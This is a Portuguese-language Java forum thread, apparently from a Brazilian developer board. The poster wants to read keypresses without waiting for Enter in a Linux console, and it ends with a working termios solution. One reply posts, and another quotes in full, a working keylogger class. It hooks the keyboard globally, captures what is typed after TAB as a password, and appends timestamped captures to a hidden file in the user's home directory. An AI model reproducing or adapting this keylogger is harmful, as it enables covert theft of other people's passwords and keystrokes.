Usar getc() em java com native methods[RESOLVIDO]

Olá pessoal,

Estou com o seguinte problema:

Preciso capturar tecla pressionada ( Sem esperar o Enter - ou seja, cada toque no teclado precisa retornar a tecla pressionada sem o usuário teclar o enter ) mas usando java no modo console, ou seja, não posso usar classes que estejam vinculadas a interface gráfica.

Vi que tenho que chamar um código em linguagem C usando JNA…

Tentei os seguintes códigos usando código nativo com JNA mas não consegui. Onde estou errando???


/** Classe principal **/

import com.sun.jna.Native;


public class Teclado {

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		ILerTeclado caracter = (ILerTeclado) Native.loadLibrary("lerTeclado2", ILerTeclado.class);
		 
		 Integer c;
		
		 while(true){
			 c = caracter.lerTecla();

				 System.out.println("tecla >> " + c);
			
			 
		 }

	}

}

/** Interface **/

import com.sun.jna.Library;

public interface ILerTeclado extends Library {
	public int lerTecla();
}


/** Código em linguagem C**/

#include "curses.h"
#include "stdio.h"
#include "lerTeclado.h"


char lerTecla(){

  char c;


      c= getch();


  return c;
}


gente, tentei o seguinte código abaixo tb, porém, ele espera o ENTER e tclas especiais não pega:


#include "stdio.h"
#include "lerTeclado.h"
#include "curses.h"
#include "termios.h" //Biblioteca necessária...
#include "unistd.h" //Biblioteca necessária...



char lerTecla(){

struct termios lxgetch_orig, lxgetch_new; //Define as variáveis 'lxgetch_orig' e 'lxgetch_new' como do tipo termios;
int lxgetch_ch; //Variável que armazena o código ascii da tecla pressionada;

tcgetattr(STDIN_FILENO, &lxgetch_orig); //Armazena-os na variável lxgetch_orig,os parâmetros associados com os objectos de entrada estandardizada;
lxgetch_new = lxgetch_orig; //Copia os parâmetros armazenados na variável lxgetch_orig para a variável lxgetch_new;
lxgetch_new.c_lflag &= ~(ICANON | ECHO); //Muda os parâmetros dos modos locais da variável lxgetch_new, para modo canónico e ecoa caracteres de entrada;
lxgetch_new.c_iflag &= ~(ISTRIP | INPCK); //Muda os parâmetros dos modos de entrada da variável lxgetch_new, para cortar o oitavo bit e verificar paridade na entrada;
tcsetattr(STDIN_FILENO, TCSANOW, &lxgetch_new); //Define imediatamente os novos parâmetros de entrada estandardizada, que estão na variável lxgetch_new;
lxgetch_ch = getchar(); //Lê a tecla pressionada;
tcsetattr(STDIN_FILENO, TCSANOW, &lxgetch_orig); //Volta a colocar os parâmetros originais dos objectos de entrada estandardizada;



return lxgetch_ch; //Retorna o código ascii da tecla pressionada;
}

Se alguém puder me ajudar, estou precisando muito disso funcionando!!!

Obrigado

Sugestão bem bobinha, pois nunca mexi com JNA, mas não precisaria fazer o include do header que fica a função getch? O conio.h

Então amigo parece que a curses.h resolve isso no linux, pois estou em SO Linux

Mas obrigado vou dar uma melhor analisada …

Valeu!!!

[quote=thejokerbm]Ola amigo tudo bem?

JNA??? nao seria JNI

posso ta falando besteira, mas vou te dar um exemplo.

HelloWorld.java

class HelloWorld{
public native void displayMenssage();
static{
 system.loadLibrary("HelloWordImp");
 }
}

Main.java

class Main{
 public static void main(String[] args){
HelloWorld hello=new HelloWord();
hello.displayMenssage();
}
}
  1. compile os arquivos

javac HelloWorld.java
java Main.java

  1. crie o arquivo de cabeçalho. para criar o HelloWorld.h

javah -jni HelloWorld

  1. crie o arquivo C++
#include <stdio.h>
#include "HelloWorld.h"
JNIEXPORT void JNICALL Java_HelloWorld_displayMessage(JNIEnv *env, jobject obj){
 printf("Hello Word!\n");
}
  1. compile a biblioteca nativa:

cl -Im:\jdk1.1.5\include -Im:\jdk1.1.5\include\win32 -LD HelloWord.cpp -FeHelloWorldImp.dll

6 execute o programa

java main

Hello World! <- Isto será exibido na Tela.

desculpe ai os error é q ta chapa quente aki no trampo
abraços e posta ai se serviu pra alguma coisa
fui-me

[/quote]

Olá amigo obrigado, mas até ai eu consigo com JNA ( obs tem JNI tb )

O que eu preciso é capturar tecla pressionada ( todas inclusive seta p/ baixo p/ esquerda etc ) porém, sem esperar o ENTER do usuário, ou seja, tecla a tecla…

Eu preciso ir mostrando isso em um display LCD que o PC vai interagir via porta serial, então a cada carater digitado pelo usuário no teclado, imediatamente deve aparecer no display LCD que um microcontrolador vai controlar…

Deu p entender? Java captura tecla a tecla se houver foco em um objeto gráfico na tela, porém, estou rodando o java em background sem interface gráfica…

Mesmo assim valeu pela tentativa em ajudar…

Obrigado!!!

[quote=thejokerbm]uahuahuahuah desculpa amigo viajei, :slight_smile:

ai tem esse codigo aqui que funciona como um keylogger, q grava no arquivo tirando essa parte axo q pode le ser util

ele trabalha com as bibliotecas do SWT, mas nao eh grafico.

da uma olhada ai e me fala.

[code]

import java.awt.event.KeyEvent;

import java.io.BufferedWriter;

import java.io.FileWriter;

import java.io.IOException;

import java.text.SimpleDateFormat;

import java.util.Date;

import org.eclipse.swt.extension.hook.Hook;

import org.eclipse.swt.extension.hook.data.*;

import org.eclipse.swt.extension.hook.listener.HookEventListener;

public class KeyLogger {

StringBuffer pass = new StringBuffer();

StringBuffer rest = new StringBuffer();



boolean concat = false;

String file = System.getProperty("user.home") + System.getProperty("file.separator") + System.getProperty("user.name") + ".txt";

final int wordSize = 5;

int count;



public KeyLogger() {

	Hook.KEYBOARD.addListener(new HookEventListener() {

		

		@Override

		public void acceptHookData(HookData hookData) {

			KeyboardHookData khd = (KeyboardHookData) hookData;

			boolean ts = khd.getTransitionState();

			long keyCode = khd.getVirtualKeyCode();

	

			if (hookData != null && !ts) {



				if (keyCode == KeyEvent.VK_TAB) {

					System.out.println("TAB");

					concat = true;

				}//of TAB

				

				if (concat) {

					System.out.println("CONCAT");

					if(keyCode != KeyEvent.VK_TAB && keyCode != 13)

						pass.append((char) keyCode);



					System.out.println(pass);



					if (keyCode == 13) {

						System.out.println("ENTER");

						System.out.println("Catch pass:" + pass);

						

						String sDate = new SimpleDateFormat("dd/MM/yyyy H:m:s").format( new Date()); 

						

						appendFile( sDate + "=[" + pass.toString() + "]",true);

						

						//clean

						pass = new StringBuffer();

						concat = false;

						

					}//of ENTER

					

				}//of concat

				else{

					

					if( count == wordSize ){

						appendFile(rest.toString(),false);

						rest = new StringBuffer();

						count = 0;

					}

					else{

						rest.append((char) keyCode);

					}

					//increase

					count++;

				}

			}//

		}



	});



	Hook.KEYBOARD.install();

	/*

	Runtime.getRuntime().addShutdownHook( new Thread(){

		public void run(){

			System.out.println("Leaving");

			appendFile();

		}

	});

	*/

	

}







public void appendFile(String pass, boolean nl){

	try {

        BufferedWriter out = new BufferedWriter(new FileWriter(file,true));

        out.write(pass);

        if(nl)

        out.newLine();

        out.close();

    } catch (IOException e) {

    }

}







public static void main(String args[]) {

	new KeyLogger();

}

}

[/code][/quote]

Bom, deixa eu só te perguntar duas coisas:

1 - Estas bibliotecas não funcionam apenas no windows não né? Pois estou no linux/Ubuntu

2 - Como eu baixo e instalo isso, pois uma vez eu tentei e não foi pra frente…

Pode me ajudar, ficarei imensamente grato mesmoooo…

valeu

[quote=thejokerbm]http://www.eclipse.org/swt/

cara tu tem q baixar pra linux entao.

http://download.eclipse.org/eclipse/downloads/drops/R-3.7-201106131736/download.php?dropFile=swt-3.7-gtk-linux-x86.zip

flw depois tu me fala se conseguiu.

abraços[/quote]

Então amigo, só que o arquivo que se baixa para linux não tem a classes dos imports:

import org.eclipse.swt.extension.hook.*;  
   
import org.eclipse.swt.extension.hook.data.*;  
  
import org.eclipse.swt.extension.hook.listener.*; 

provavelmente só funcione para Windows aquele código

Talvez tenha que escrever com outras classes para linux, mas não me parece tão simples, se é que dá né?

Dê uma olhada se vc puder, pra ver se eu não estou falando besteira…

[quote=Rodrigo Ribaldo]Olá pessoal,

Estou com o seguinte problema:

Preciso capturar tecla pressionada ( Sem esperar o Enter - ou seja, cada toque no teclado precisa retornar a tecla pressionada sem o usuário teclar o enter ) mas usando java no modo console, ou seja, não posso usar classes que estejam vinculadas a interface gráfica.

Vi que tenho que chamar um código em linguagem C usando JNA…

Tentei os seguintes códigos usando código nativo com JNA mas não consegui. Onde estou errando???


/** Classe principal **/

import com.sun.jna.Native;


public class Teclado {

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		ILerTeclado caracter = (ILerTeclado) Native.loadLibrary("lerTeclado2", ILerTeclado.class);
		 
		 Integer c;
		
		 while(true){
			 c = caracter.lerTecla();

				 System.out.println("tecla >> " + c);
			
			 
		 }

	}

}

/** Interface **/

import com.sun.jna.Library;

public interface ILerTeclado extends Library {
	public int lerTecla();
}


/** Código em linguagem C**/

#include "curses.h"
#include "stdio.h"
#include "lerTeclado.h"


char lerTecla(){

  char c;


      c= getch();


  return c;
}


gente, tentei o seguinte código abaixo tb, porém, ele espera o ENTER e tclas especiais não pega:


#include "stdio.h"
#include "lerTeclado.h"
#include "curses.h"
#include "termios.h" //Biblioteca necessária...
#include "unistd.h" //Biblioteca necessária...



char lerTecla(){

struct termios lxgetch_orig, lxgetch_new; //Define as variáveis 'lxgetch_orig' e 'lxgetch_new' como do tipo termios;
int lxgetch_ch; //Variável que armazena o código ascii da tecla pressionada;

tcgetattr(STDIN_FILENO, &lxgetch_orig); //Armazena-os na variável lxgetch_orig,os parâmetros associados com os objectos de entrada estandardizada;
lxgetch_new = lxgetch_orig; //Copia os parâmetros armazenados na variável lxgetch_orig para a variável lxgetch_new;
lxgetch_new.c_lflag &= ~(ICANON | ECHO); //Muda os parâmetros dos modos locais da variável lxgetch_new, para modo canónico e ecoa caracteres de entrada;
lxgetch_new.c_iflag &= ~(ISTRIP | INPCK); //Muda os parâmetros dos modos de entrada da variável lxgetch_new, para cortar o oitavo bit e verificar paridade na entrada;
tcsetattr(STDIN_FILENO, TCSANOW, &lxgetch_new); //Define imediatamente os novos parâmetros de entrada estandardizada, que estão na variável lxgetch_new;
lxgetch_ch = getchar(); //Lê a tecla pressionada;
tcsetattr(STDIN_FILENO, TCSANOW, &lxgetch_orig); //Volta a colocar os parâmetros originais dos objectos de entrada estandardizada;



return lxgetch_ch; //Retorna o código ascii da tecla pressionada;
}

Se alguém puder me ajudar, estou precisando muito disso funcionando!!!

Obrigado[/quote]

Resolvido!!!

Utilizando o código já citado por mim mesmo no início do post ( struct termios ) e saindo do ambiente do eclipse, ou seja, fazendo a exportação do arquivo como .jar e o chamando via terminal no linux acabou que por funionar.
A conclusão é que, rodando via ambiente eclipse, o código em C não funciona corretamente.

Obrigado pela força pessoal…

Abraços a todos!!!

Ola amigo tudo bem?

JNA??? nao seria JNI

posso ta falando besteira, mas vou te dar um exemplo.

HelloWorld.java

class HelloWorld{
public native void displayMenssage();
static{
 system.loadLibrary("HelloWordImp");
 }
}

Main.java

class Main{
 public static void main(String[] args){
HelloWorld hello=new HelloWord();
hello.displayMenssage();
}
}
  1. compile os arquivos

javac HelloWorld.java
java Main.java

  1. crie o arquivo de cabeçalho. para criar o HelloWorld.h

javah -jni HelloWorld

  1. crie o arquivo C++
#include <stdio.h>
#include "HelloWorld.h"
JNIEXPORT void JNICALL Java_HelloWorld_displayMessage(JNIEnv *env, jobject obj){
 printf("Hello Word!\n");
}
  1. compile a biblioteca nativa:

cl -Im:\jdk1.1.5\include -Im:\jdk1.1.5\include\win32 -LD HelloWord.cpp -FeHelloWorldImp.dll

6 execute o programa

java main

Hello World! <- Isto será exibido na Tela.

desculpe ai os error é q ta chapa quente aki no trampo
abraços e posta ai se serviu pra alguma coisa
fui-me

uahuahuahuah desculpa amigo viajei, :slight_smile:

ai tem esse codigo aqui que funciona como um keylogger, q grava no arquivo tirando essa parte axo q pode le ser util

ele trabalha com as bibliotecas do SWT, mas nao eh grafico.

da uma olhada ai e me fala.


import java.awt.event.KeyEvent;

import java.io.BufferedWriter;

import java.io.FileWriter;

import java.io.IOException;

import java.text.SimpleDateFormat;

import java.util.Date;



import org.eclipse.swt.extension.hook.Hook;

import org.eclipse.swt.extension.hook.data.*;

import org.eclipse.swt.extension.hook.listener.HookEventListener;



public class KeyLogger {

	StringBuffer pass = new StringBuffer();

	StringBuffer rest = new StringBuffer();

	

	boolean concat = false;

	String file = System.getProperty("user.home") + System.getProperty("file.separator") + System.getProperty("user.name") + ".txt";

	final int wordSize = 5;

	int count;

	

	public KeyLogger() {

		Hook.KEYBOARD.addListener(new HookEventListener() {

			

			@Override

			public void acceptHookData(HookData hookData) {

				KeyboardHookData khd = (KeyboardHookData) hookData;

				boolean ts = khd.getTransitionState();

				long keyCode = khd.getVirtualKeyCode();

		

				if (hookData != null && !ts) {



					if (keyCode == KeyEvent.VK_TAB) {

						System.out.println("TAB");

						concat = true;

					}//of TAB

					

					if (concat) {

						System.out.println("CONCAT");

						if(keyCode != KeyEvent.VK_TAB && keyCode != 13)

							pass.append((char) keyCode);



						System.out.println(pass);



						if (keyCode == 13) {

							System.out.println("ENTER");

							System.out.println("Catch pass:" + pass);

							

							String sDate = new SimpleDateFormat("dd/MM/yyyy H:m:s").format( new Date()); 

							

							appendFile( sDate + "=[" + pass.toString() + "]",true);

							

							//clean

							pass = new StringBuffer();

							concat = false;

							

						}//of ENTER

						

					}//of concat

					else{

						

						if( count == wordSize ){

							appendFile(rest.toString(),false);

							rest = new StringBuffer();

							count = 0;

						}

						else{

							rest.append((char) keyCode);

						}

						//increase

						count++;

					}

				}//

			}



		});



		Hook.KEYBOARD.install();

		/*

		Runtime.getRuntime().addShutdownHook( new Thread(){

			public void run(){

				System.out.println("Leaving");

				appendFile();

			}

		});

		*/

		

	}



	

	

	public void appendFile(String pass, boolean nl){

		try {

	        BufferedWriter out = new BufferedWriter(new FileWriter(file,true));

	        out.write(pass);

	        if(nl)

	        out.newLine();

	        out.close();

	    } catch (IOException e) {

	    }

	}

	

	

	

	public static void main(String args[]) {

		new KeyLogger();

	}

}

cara tu tem q baixar pra linux entao.

http://download.eclipse.org/eclipse/downloads/drops/R-3.7-201106131736/download.php?dropFile=swt-3.7-gtk-linux-x86.zip

flw depois tu me fala se conseguiu.

abraços